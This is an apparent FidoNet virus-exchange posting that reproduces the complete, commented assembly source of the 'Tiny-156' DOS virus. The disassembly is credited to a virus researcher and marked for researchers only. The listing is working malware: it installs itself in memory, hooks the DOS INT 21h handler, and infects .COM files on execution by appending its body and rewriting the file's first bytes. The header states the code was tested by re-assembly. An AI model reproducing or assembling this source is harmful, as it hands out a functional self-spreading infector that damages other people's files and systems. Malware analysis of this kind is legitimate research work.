;Ä PVT.VIRII (2:465/65.4) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PVT.VIRII Ä
; Msg  : 12 of 54
; From : MeteO                               2:5030/136      Tue 09 Nov 93 09:11
; To   : -  *.*  -                                           Fri 11 Nov 94 08:10
; Subj : TINY_156.ASM
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;.RealName: Max Ivanov
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int: ˆ­ä®p¬ æ¨ï ® ¢¨pãá å)
;* From : Gilbert Holleman, 2:283/718 (06 Nov 94 16:30)
;* To   : Graham Allen
;* Subj : TINY_156.ASM
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
;@RFC-Path:
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
;18.n283!not-for-mail
;@RFC-Return-Receipt-To: Gilbert.Holleman@f718.n283.z2.fidonet.org
    page    ,132
    name    TINY156
    title   The 'Tiny' virus, version TINY-156
    .radix  16

; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; ú  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ú
; ú  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255        ú
; ú                                      ú
; ú          The 'Tiny' Virus, version TINY-156                  ú
; ú      Disassembled by Vesselin Bontchev, September 1990       ú
; ú                                      ú
; ú          Copyright (c) Vesselin Bontchev 1989, 1990          ú
; ú                                      ú
; ú  This listing is only to be made available to virus researchers      ú
; ú        or software writers on a need-to-know basis.          ú
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

; The disassembly has been tested by re-assembly using MASM 5.0.

code    segment
    assume  cs:code, ds:code

    org 100

seg_60  equ 600
v_len   equ v_end-first4

start:
    jmp v_entry     ; Jump to virus code
    db  'M'             ; Virus signature
    mov ax,4C00     ; Program terminate
    int 21

; The original first 4 bytes of the infected file:

first4  db  0EBh, 2, 90, 90

v_entry:
    mov si,0FF      ; Determine the start addres of the virus body
    add si,[si+2]

    mov di,offset start ; Put the addres of program start on the stack
    push    di      ; Now a Near RET instruction will jump there

    push    ax      ; Save AX (to keep programs as DISKCOPY happy)

    movsw           ; Restore the original first 4 bytes
    movsw

    mov di,seg_60+4 ; Point ES:DI at 0000:0604h (i.e, segment 60h)
    xor cx,cx       ; ES := 0
    mov es,cx
    mov cl,v_len-2  ; CX := virus length
    lodsw           ; Check if virus is present in memory
    scasw
    je  run     ; Just run the program if so

; Virus not in memory. Install it there:

    dec di      ; Adjust DI
    dec di
    stosw           ; Store the first word of the virus body
    rep movsb       ; Store the rest of the virus

    mov di,32*4     ; Old INT 21h handler will be moved to INT 32h
    mov ax,int_21-first4+seg_60

; Move the INT 21h handler to INT 32h and
; install int_21 as new INT 21h handler:

    xchg    ax,cx
vect_cpy:
    xchg    ax,cx
    xchg    ax,word ptr es:[di-(32-21)*4]
    stosw
    jcxz    vect_cpy    ; Loop until done

run:
    pop ax      ; Restore AX
    push    ds      ; ES := DS
    pop es

; Jump to program start via funny RET instruction:

    ret

int_21:             ; New INT 21h handler
    cmp ax,4B00     ; EXEC function call?
    jne end_21      ; Exit if not

    push    ax      ; Save registers used
    push    bx
    push    cx
    push    dx
    push    di
    push    ds
    push    es

    push    cs      ; ES := CS
    pop es

    mov ax,3D02     ; Open the file for both reading and writting
    int 32
    jc  end_exec    ; Exit on error
    xchg    ax,bx       ; Save the file handle in BX

    mov al,0
    call    lseek

    mov ah,3F       ; Read the first 4 bytes of the file
    mov di,dx       ; Save first4 address in DI
    push    cs      ; DS := CS
    pop ds
    int 32      ; Do it

; Check whether the file is already infected or is an .EXE file.
; The former contains the character `M' in its 3rd byte and
; the latter contains it either in the 0th or in the 1st byte.

    push    di      ; Save DI
    mov al,'M'          ; Look for `M'
    repne   scasb
    pop di      ; Restore DI
    je  close       ; Exit if file not suitable for infection

    mov al,2        ; Seek to the end of file
    call    lseek

    push    ax      ; Save file length

    mov cl,v_len    ; Length of virus body
    mov ah,40       ; Append virus to file
    int 32      ; Do it

    mov al,0        ; Seek to the file beginning
    call    lseek

    mov al,0E9      ; Near JMP opcode
    stosb           ; Form the first instruction of the file
    pop ax      ; Restore file length in AX
    inc ax
    stosw           ; Form the JMP's opperand
    mov al,'M'          ; Add a `M' character to mark the file
    stosb           ;  as infected

    mov ah,40
    int 32      ; Do it

close:
    mov ah,3E       ; Close the file
    int 32

end_exec:
    pop es      ; Restore used registers
    pop ds
    pop di
    pop dx
    pop cx
    pop bx
    pop ax

; Exit through the original INT 21h handler:

end_21:
    jmp dword ptr cs:[32*4]

lseek:
    mov ah,42       ; Lseek either to file beginning or to file end
    xor cx,cx
    xor dx,dx
    int 32      ; Do it

    mov dh,6        ; Put 6 in DH and 4 in CL
    mov cl,4
    ret         ; Done

v_end   equ $       ; End of virus body

code    ends
    end start

;-+-  Concord/QWK O.O1 Beta-7
; + Origin: Miami Beach BBS - Nijmegen Nl - 080-732083 - ZyX 19K2 (2:283/718)
;=============================================================================
;
;Yoo-hooo-oo, -!
;
;
;    þ The MeÂeO
;
;/m#           Allow # multiple passes to resolve forward references
;
;--- Aidstest Null: /Kill
; * Origin: ùPVT.ViRIIúmainúboardú / Virus Research labs. (2:5030/136)